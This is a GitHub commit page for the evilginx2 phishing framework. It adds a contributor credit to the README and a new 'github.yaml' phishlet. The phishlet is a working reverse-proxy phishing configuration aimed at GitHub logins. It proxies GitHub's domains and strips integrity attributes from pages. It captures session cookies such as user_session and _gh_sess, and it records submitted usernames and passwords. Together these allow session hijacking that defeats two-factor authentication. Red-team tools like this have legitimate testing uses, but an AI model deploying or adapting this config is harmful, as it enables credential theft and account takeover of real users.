Skip to content

Commit

Permalink
adds github phishlet
Browse files Browse the repository at this point in the history
  • Loading branch information
audibleblink committed Jan 22, 2019
1 parent c521dd9 commit 8a75b3e
Show file tree
Hide file tree
Showing 2 changed files with 31 additions and 0 deletions.
2 changes: 2 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -40,6 +40,8 @@ Please thank the following contributors for devoting their precious time to deli

[**rvrsh3ll @424f424f**](https://twitter.com/424f424f) - Citrix

[**audibleblink @4lex**](https://twitter.com/4lex) - GitHub

## Installation

You can either use a [precompiled binary package](https://github.com/kgretzky/evilginx2/releases) for your architecture or you can compile **evilginx2** from source.
Expand Down
29 changes: 29 additions & 0 deletions phishlets/github.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,29 @@
author: '@audibleblink'
min_ver: '2.3.0'
proxy_hosts:
- {phish_sub: '', orig_sub: '', domain: 'github.com', session: true, is_landing: true}
- {phish_sub: 'api', orig_sub: 'api', domain: 'github.com'}
- {phish_sub: 'github', orig_sub: 'github', domain: 'githubassets.com'}

sub_filters:
- {triggers_on: 'github.com', orig_sub: '', domain: 'github.com', search: 'integrity="(.*?)"', replace: '', mimes: ['text/html']}

auth_tokens:
- domain: '.github.com'
keys: ['logged_in', 'dotcom_user']
- domain: 'github.com'
keys: ['user_session', '_gh_sess']

credentials:
username:
key: 'login'
search: '(.*)'
type: 'post'
password:
key: 'password'
search: '(.*)'
type: 'post'

login:
domain: 'github.com'
path: '/login'

0 comments on commit 8a75b3e

Please sign in to comment.